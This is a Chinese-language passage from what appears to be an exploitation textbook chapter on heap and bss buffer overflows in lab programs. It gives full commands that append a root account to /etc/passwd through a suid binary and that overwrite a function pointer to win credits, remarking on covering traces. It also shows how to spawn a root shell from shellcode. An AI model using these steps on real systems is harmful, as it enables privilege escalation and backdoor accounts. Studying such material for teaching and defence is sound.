緩衝區溢位也能發生在 heap、bss 等其他記憶體區段。

如同 auth_overflow.c,只要有重要變數位於「易溢位的緩衝區」之後,程式的控制流程就能被改變——不論這些變數位在哪個記憶體區段。只是這種控制往往相當有限。找出這些控制點、學會善用它們,需要一些經驗與創造性思考。這類溢位不像堆疊型那麼標準化,但可以同樣有效。

基本的 heap 型溢位#

第 0x200 章的 notetaker 程式也有緩衝區溢位弱點:兩個緩衝區配置在 heap 上,第一個命令列引數被複製進第一個緩衝區。

buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
...
strcpy(buffer, argv[1]);   // Copy into buffer.

正常情況下 buffer 位於 0x804a008datafile 位於 0x804a070,相距 104 位元組。由於第一個緩衝區以 null 結尾,不溢出到下一個緩衝區所能放的最大資料量就是 104 位元組。

用 104 個 A 時,null 終止位元組溢進 datafile 開頭,讓 datafile 變成單一個 null 位元組——無法當檔案開啟。但若把 datafile 覆寫成別的東西呢?

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104 . "testfile"')
[DEBUG] datafile @ 0x804a070: 'testfile'
Note has been saved.
*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0804a008 ***

這次溢位把 datafile 覆寫成 testfile,程式因此寫到 testfile 而非原本的 /var/notes

之後 free() 偵測到 heap 標頭錯誤並終止程式。如同堆疊溢位覆寫返回位址,heap 架構本身也有控制點。自 glibc 2.2.5 起,heap 記憶體管理函式專門演化來對抗 heap unlinking 攻擊——偵測到 heap 標頭問題時會印出除錯資訊並終止程式,使 Linux 中的 heap unlinking 非常困難。但這個特定漏洞利用不靠 heap 標頭資訊,等到 free() 被呼叫時,程式早已被誘騙以 root 權限寫入了新檔案。

利用「可控檔名」竄改 /etc/passwd#

由於 notetaker 是 suid root,它建立的檔案由 root 擁有,而且既然檔名可控,就能對任何檔案附加資料。這些資料有些限制:必須以可控的檔名結尾,而且會多寫入一行使用者 ID。

最明顯的利用方式是對 /etc/passwd 附加內容——這個關鍵檔案含有所有使用者的登入名稱、ID 與登入 shell。

/etc/passwd 的欄位、密碼雜湊與 salt

欄位以冒號分隔,依序為:登入名稱、密碼、使用者 ID、群組 ID、使用者名稱、家目錄、登入 shell。密碼欄通常填 x(加密密碼另存於 shadow 檔),但此欄也可直接放加密密碼。

密碼可用單向雜湊演算法加密。因為是單向的,無法從雜湊值還原原始密碼;為防查表攻擊,演算法使用 salt 值——salt 不同,同一密碼就產生不同雜湊。Perl 的 crypt() 可做這件事(第一引數是密碼、第二是 salt,salt 值總在雜湊開頭):

reader@hacking:~/booksrc $ perl -e 'print crypt("password", "XX")."\n"'
XXq2wKiyI43A2

於是要附加的一行大致是:

myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash

這個 heap 溢位的特性要求字串必須以 /etc/passwd 結尾,否則 passwd 檔項目就會不正確。解法是巧用符號連結(symbolic link)

reader@hacking:~/booksrc $ mkdir /tmp/etc
reader@hacking:~/booksrc $ ln -s /bin/bash /tmp/etc/passwd

現在 /tmp/etc/passwd 指向登入 shell /bin/bash,所以 /tmp/etc/passwd 也是密碼檔的有效登入 shell。只要把 /etc/passwd 之前的部分精確湊成 104 位元組長,這一行就既能以 /etc/passwd 結尾、又是合法的密碼檔項目:

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp/etc/passwd"')
...
reader@hacking:~/booksrc $ su myroot
Password:
root@hacking:/home/reader/booksrc# whoami
root

覆寫函式指標#

若你玩過夠多次 game_of_chance.c,會發現如同賭場,大多數遊戲的機率在統計上都對莊家有利。也許有辦法讓賠率公平一點。

這個程式用一個函式指標記住上次玩的遊戲,存在宣告為全域變數的 user 結構中——因此整個結構的記憶體都配置在 bss 區段

struct user {
  int uid;
  int credits;
  int highscore;
  char name[100];
  int (*current_game) ();
};

name 緩衝區由 input_name() 設定,它只在遇到換行時才停止輸入,沒有任何機制限制到目的緩衝區的長度——溢位因此可能。

要利用這個溢位,需讓程式在函式指標被覆寫之後去呼叫它。這發生在 play_the_game() 裡。但只有在 last_game 不等於當前選擇時,函式指標才會被改成對應遊戲——所以要讓程式呼叫函式指標而不覆寫它,必須先玩一次遊戲來設定 last_game

概念驗證:先讓它崩潰#

用 GDB 檢視得知 name 緩衝區距 current_game 指標 100 位元組。生成一個溢位緩衝區(100 個 A 加上 BBBB),透過「更改使用者名稱」貼入:

[DEBUG] current_game pointer @ 0x42424242
Segmentation fault

函式指標被覆寫成 0x42424242(即 BBBB),再玩一次遊戲就崩潰。這證明執行可被控制,現在只需一個有效位址取代 BBBB

用 nm 找到 jackpot() 並改寫賠率#

nm 命令列出目的檔中的符號,可用來找函式位址。jackpot() 函式(0x08048d70)是絕佳目標:

儘管遊戲賠率糟糕,若把 current_game 函式指標小心覆寫成 jackpot() 的位址,你甚至不必玩遊戲就能贏得點數——jackpot() 會被直接呼叫,發出 100 點的獎勵。

程式從標準輸入取得輸入,選單選擇可全部寫在一個緩衝區裡、以管線送入。以下一行先玩一次 Pick a Number,再把使用者名稱改成 100 個 A 加上 jackpot() 位址,覆寫函式指標;之後每玩一次 Pick a Number 就直接呼叫 jackpot()

reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\x8d\x04\x08\n" . "1\n" . "y\n"x10 . "n\n5\nJon Erickson\n7\n"' | ./game_of_chance
...
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!

反覆觸發即可累積任意數量的點數(並在最後把名稱改回,掩蓋痕跡)。

從免費點數到 root shell#

這個程式同樣以 suid root 執行——這表示 shellcode 能做的遠不只贏免費點數。

如同堆疊型溢位,可把 shellcode 藏進環境變數,用 getenvaddr 算出其位址,再把函式指標覆寫成該位址:

reader@hacking:~/booksrc $ export SHELLCODE=$(cat ./shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff9e0
reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\xe0\xf9\xff\xbf\n" . "1\n"' > exploit_buffer
reader@hacking:~/booksrc $ cat exploit_buffer - | ./game_of_chance
...
[DEBUG] current_game pointer @ 0xbffff9e0
whoami
root